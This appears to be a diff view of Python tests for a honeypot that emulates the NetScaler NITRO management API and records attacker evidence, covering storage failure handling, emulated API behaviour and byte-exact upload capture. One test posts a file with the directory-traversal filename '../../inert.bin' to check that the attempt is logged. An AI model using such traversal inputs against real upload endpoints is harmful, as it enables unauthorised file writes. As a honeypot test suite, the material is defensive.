assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
|
||||
'simulated_command', 'virtual_file_write'} <= kinds
|
||||
# Interrupted writes never publish a partial file under a full-content hash.
|
||||
with patch('evidence.os.fsync', side_effect=OSError('simulated disk failure')):
|
||||
try:
|
||||
evidence.save(b'interrupted-file')
|
||||
raise AssertionError('storage failure was ignored')
|
||||
except OSError:
|
||||
pass
|
||||
assert not (evidence.artifacts / (hashlib.sha256(b'interrupted-file').hexdigest() + '.bin')).exists()
|
||||
assert not list(evidence.artifacts.glob('.capture-*'))
|
||||
interrupted = pathlib.Path(workspace.name) / 'interrupted-journal'
|
||||
interrupted.mkdir()
|
||||
(interrupted / 'events.jsonl').write_bytes(b'{"interrupted":')
|
||||
repaired = Evidence(interrupted)
|
||||
try:
|
||||
repaired.emit('after_restart')
|
||||
lines = (interrupted / 'events.jsonl').read_bytes().splitlines()
|
||||
assert lines[0] == b'{"interrupted":'
|
||||
assert json.loads(lines[1])['event'] == 'after_restart'
|
||||
finally:
|
||||
repaired.close()
|
||||
# A capture failure survives process restart and cannot be bypassed by systemd.
|
||||
server.stop_capture(OSError('simulated quota exhaustion'))
|
||||
assert (evidence.directory / 'STOP').exists()
|
||||
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
|
||||
'--log-dir', workspace.name, '--port', '0'], capture_output=True, timeout=5)
|
||||
assert result.returncode == 78 and b'STOP latch' in result.stderr
|
||||
full = pathlib.Path(workspace.name) / 'full-at-start'
|
||||
store = Evidence(full, quota=1024*1024)
|
||||
store.save(b'x'*(1024*1024))
|
||||
store.close()
|
||||
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
|
||||
'--simulation-only', '--log-dir', str(full), '--evidence-mib', '1', '--port', '0'],
|
||||
capture_output=True, timeout=5)
|
||||
assert result.returncode == 78 and (full / 'STOP').exists()
|
||||
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
|
||||
'--simulation-only', '--fetch-payloads'], capture_output=True, timeout=5)
|
||||
assert result.returncode == 2
|
||||
finally:
|
||||
server.shutdown()
|
||||
server.server_close()
|
||||
|
||||
@@ -0,0 +1,72 @@
|
||||
"""Run: python3 test_nitro.py. Inert API behaviour and exact upload capture."""
|
||||
import base64
|
||||
import hashlib
|
||||
import http.client
|
||||
import json
|
||||
import pathlib
|
||||
import tempfile
|
||||
import threading
|
||||
import urllib.parse
|
||||
from types import SimpleNamespace
|
||||
from evidence import Evidence
|
||||
from honeypot import Engine, Server
|
||||
from nitro import CONFIG, RESOURCES, respond
|
||||
|
||||
|
||||
def main():
|
||||
state = SimpleNamespace()
|
||||
auth = {}
|
||||
def api(method, path, data=None, headers=None, source=state):
|
||||
return respond(source, method, urllib.parse.urlsplit('/nitro/v1/'+path),
|
||||
json.dumps(data).encode() if data is not None else b'', headers if headers is not None else auth)
|
||||
assert api('GET', 'config/nsversion')[0] == 401
|
||||
assert api('POST', 'config/login', {'login': {}})[0] == 400
|
||||
status, login, extra = api('POST', 'config/login', {'login': {'username':'probe','password':'inert'}})
|
||||
assert status == 201 and extra[0][0] == 'Set-Cookie'
|
||||
auth = {'Cookie': 'NITRO_AUTH_TOKEN='+login['sessionid']}
|
||||
assert api('GET', 'config/nsversion')[1]['nsversion'][0]['version'].startswith('NetScaler NS')
|
||||
assert len(RESOURCES['config']) > 1400 and len(RESOURCES['stat']) > 150
|
||||
for kind in RESOURCES:
|
||||
for resource in RESOURCES[kind]:assert api('GET',kind+'/'+resource)[0] == 200, resource
|
||||
for resource in CONFIG:assert resource in api('GET', 'config/'+resource)[1]
|
||||
assert api('POST', 'config/lbvserver', {'lbvserver': {'name':'new','port':80}})[0] == 201
|
||||
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['port'] == 80
|
||||
assert api('PUT', 'config/lbvserver', {'lbvserver': {'name':'new','port':8080}})[0] == 200
|
||||
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['port'] == 8080
|
||||
assert api('POST', 'config/lbvserver?action=disable', {'lbvserver': {'name':'new'}})[0] == 200
|
||||
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'][0]['state'] == 'DISABLED'
|
||||
assert api('GET', 'config/lbvserver?filter=name:new&attrs=name')[1]['lbvserver'] == [{'name':'new'}]
|
||||
assert api('GET', 'config/lbvserver?count=yes')[1]['lbvserver'] == [{'__count':2}]
|
||||
assert api('GET', 'config/lbvserver_binding/lb_apps')[1]['lbvserver_binding'][0]['lbvserver_service_binding'][0]['servicename'] == 'svc_app_https'
|
||||
assert api('GET', 'config/lbvserver?pagesize=1&pageno=2')[1]['lbvserver'][0]['name'] == 'new'
|
||||
assert api('GET', 'config/lbvserver?pagesize=bad')[0] == 400
|
||||
assert api('GET', 'config/nsip?'+ '&'.join('x=1' for _ in range(129)))[0] == 400
|
||||
assert api('GET', 'config/not_a_resource')[0] == 404
|
||||
assert api('DELETE', 'config/lbvserver/new')[0] == 200
|
||||
assert api('GET', 'config/lbvserver/new')[1]['lbvserver'] == []
|
||||
assert api('GET', 'config/lbvserver', source=SimpleNamespace(), headers={'X-NITRO-USER':'probe','X-NITRO-PASS':'inert'})[1]['lbvserver'] == CONFIG['lbvserver']
|
||||
assert api('POST', 'config/lbvserver', {'lbvserver':{'name':'huge','blob':'x'*65520}})[0] in (400,503)
|
||||
assert api('POST', 'config/logout', {'logout':{}})[0] == 201
|
||||
assert api('GET', 'config/nsversion')[0] == 401
|
||||
with tempfile.TemporaryDirectory() as directory:
|
||||
evidence = Evidence(directory)
|
||||
server = Server(('127.0.0.1',0), Engine(evidence.emit,save=evidence.save), serve_guest_files=False)
|
||||
thread=threading.Thread(target=server.serve_forever,daemon=True);thread.start()
|
||||
payload=b'\0inert-nitro-file\xff\n'
|
||||
body=json.dumps({'systemfile':{'filename':'../../inert.bin','filelocation':'/tmp','filecontent':base64.b64encode(payload).decode()}}).encode()
|
||||
try:
|
||||
connection=http.client.HTTPConnection('127.0.0.1',server.server_port,timeout=3)
|
||||
connection.request('POST','/nitro/v1/config/systemfile',body,{'Content-Type':'application/json','X-NITRO-USER':'probe','X-NITRO-PASS':'inert'})
|
||||
response=connection.getresponse();assert response.status==201;response.read();connection.close()
|
||||
digest=hashlib.sha256(payload).hexdigest()
|
||||
assert (pathlib.Path(directory)/'artifacts'/(digest+'.bin')).read_bytes()==payload
|
||||
records=[json.loads(row) for row in (pathlib.Path(directory)/'events.jsonl').read_text().splitlines()]
|
||||
upload=next(row for row in records if row['event']=='upload')
|
||||
assert upload['filename']=='../../inert.bin' and upload['evidence']['sha256']==digest
|
||||
assert any(row['event']=='request_body' and row['evidence']['sha256']==hashlib.sha256(body).hexdigest() for row in records)
|
||||
finally:
|
||||
server.shutdown();server.server_close();thread.join(3);evidence.close()
|
||||
print('PASS: resource catalog, auth, CRUD, actions, queries, source isolation and byte-exact NITRO files')
|
||||
|
||||
|
||||
if __name__=='__main__':main()
|
||||
Reference in new issue
Block a user